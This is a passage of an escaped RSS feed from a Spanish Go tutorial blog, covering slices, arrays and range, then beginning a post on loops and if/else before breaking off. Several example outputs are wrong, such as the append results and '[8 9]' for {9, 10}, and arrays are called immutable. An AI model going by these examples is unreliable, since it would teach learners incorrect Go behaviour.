style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(slice)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1,0,0,0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considera que si intentamos añadir un elemento más allá de la capacidad que definimos obtendremos un error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// panic: runtime error: index out of range [4] with length 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para más detalles &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/builtin#make&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;revisa la documentación de la función make&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creando-slices-con-valores&#34;&gt;Creando slices con valores&lt;/h3&gt;&#xA;&lt;p&gt;Además de usando make, es posible crear un slice en un solo paso, pasándole el contenido directamente, colocando entre llaves los elementos del slice, separados por comas.&lt;/p&gt;&#xA;&lt;p&gt;Observa como no especificamos el tamaño del slice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice = []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También es posible dejar que go detecte automáticamente que se trata de un slice usando el operador walrus &amp;ldquo;:=&amp;rdquo;. Recuerda que esto solo posible dentro de una función&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;particionar-slices&#34;&gt;Particionar slices&lt;/h3&gt;&#xA;&lt;p&gt;Los &lt;em&gt;slices&lt;/em&gt; pueden partirse en un estilo similar al de Python, especificando una &lt;strong&gt;posición incluyente para el primer dígito y excluyente para el segundo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:] &lt;span style=&#34;color:#78787e&#34;&gt;// {2, 3, 4}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#78787e&#34;&gt;// {0, 1}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#78787e&#34;&gt;// { 2 }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no especificamos uno de los dos, tomará la primera posición para el primer dígito y la última para el segundo dígito.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extender-un-slice-en-go&#34;&gt;Extender un slice en Go&lt;/h3&gt;&#xA;&lt;p&gt;Los slices son mutables, pueden extenderse usando la función &lt;em&gt;append&lt;/em&gt;, la cual recibe cualquier número de elementos, separados por comas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sliceExtendido &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(slice, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otroSliceExtendido &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(sliceExtendido, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5 6 7 8]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es posible crear un nuevo slice a partir de la desestructuración de un slice. La desestructuración se lleva a cabo poniendo tres puntos (&amp;hellip;) al final del slice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nuevoSlice &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt;[]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [8 9]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sliceHastaDiez = &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(nuevoSlice, otroSliceExtendido&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5 6 7 8 9 10]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recorrer-o-iterar-array-y-slices-con-range&#34;&gt;Recorrer o iterar array y slices con range&lt;/h2&gt;&#xA;&lt;p&gt;Parecido a la sintaxis de Python, podemos recorrer un &lt;em&gt;array&lt;/em&gt;, un &lt;em&gt;slice&lt;/em&gt; o un &lt;em&gt;map&lt;/em&gt; (hablaré de los maps en la siguiente entrada) usando &lt;em&gt;range&lt;/em&gt;. Cada iteración nos devolverá el índice y el elemento del array o slice, o la llave y el valor en el caso de maps.&lt;/p&gt;&#xA;&lt;p&gt;Aquí iteramos sobre un &lt;em&gt;array&lt;/em&gt;, aprecia como estamos declarando el tamaño de antemano.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;array[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;array[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hollow knight&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, videojuego &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; array {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(index, videojuego)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el caso de un &lt;em&gt;slice&lt;/em&gt;, observa como no especificamos un tamaño entre los corchetes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i, n &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; list {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(i, n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-convertir-un-array-en-un-slice-en-go&#34;&gt;¿Cómo convertir un array en un slice en Go?&lt;/h2&gt;&#xA;&lt;p&gt;Para convertir un array en un slice podemos usar la notación &lt;em&gt;[:]&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newArray &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; mySlice[:]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto termino de platicarte lo más básico de slices y arrays en Go. Para la siguiente entrada voy a hablar de los maps en Go.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En go o golang los slices, los arrays y los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;maps&lt;/a&gt;&#xA; son estructuras para manejar colecciones de datos. En esta entrada voy a hablar de los dos primeros: slices y arrays.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;arrays-en-go&#34;&gt;Arrays en go&lt;/h2&gt;&#xA;&lt;p&gt;Los arrays son &lt;strong&gt;colecciones de datos inmutables&lt;/strong&gt;, para crear un &lt;em&gt;array&lt;/em&gt; necesitamos definir su tamaño y el tipo de dato que contendrá, &lt;strong&gt;una vez declarado no se puede modificar&lt;/strong&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: ciclos for, break, continue, defer, if y else</title>
      <link>https://coffeebytes.dev/es/go/go-ciclos-o-bucles-for-break-continue-defer-if-y-else/</link>
      <pubDate>Tue, 07 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-ciclos-o-bucles-for-break-continue-defer-if-y-else/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta entrada tratará sobre los bucles en el lenguaje de programación go.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go maneja los bucles un poco diferente a lo que estás acostumbrado. Si ya dominas algún otro lenguaje de programación, probablemente recuerdes que hay bucles &lt;em&gt;while&lt;/em&gt;, &lt;em&gt;do while&lt;/em&gt; y for. Y si vienes de Python o Javascript, recordarás lo útil que son los bucles &lt;em&gt;for x in&lt;/em&gt; o &lt;em&gt;for x of&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bien, pues en el lenguaje de programación go no existen más que los bucles for. Sí, no hay &lt;em&gt;while&lt;/em&gt; ni do &lt;em&gt;while&lt;/em&gt;. ¿Pero entonces como hago para usar el resto de los bucles? Sigue leyendo y te explico, empezaré por explicar if y else y posteriormente los bucles.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes nada sobre Go y quieres empezar por lo básico visita mi entrada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;Golang: introducción, variables y tipos de datos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Si actualmente usas Python y quieres ver como es diferente de Go, visita mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/&#34;&gt;python vs go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;if-y-else&#34;&gt;If y else&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; y &lt;em&gt;else&lt;/em&gt; te permiten ejecutar bloques de código de manera condicional y guardan la misma sintaxis que en casi todos los lenguajes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Verdadero&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Falso&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;else-if&#34;&gt;else if&lt;/h3&gt;&#xA;&lt;p&gt;Y por supuesto que go también cuenta con un &lt;em&gt;else if&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;edad &lt;span 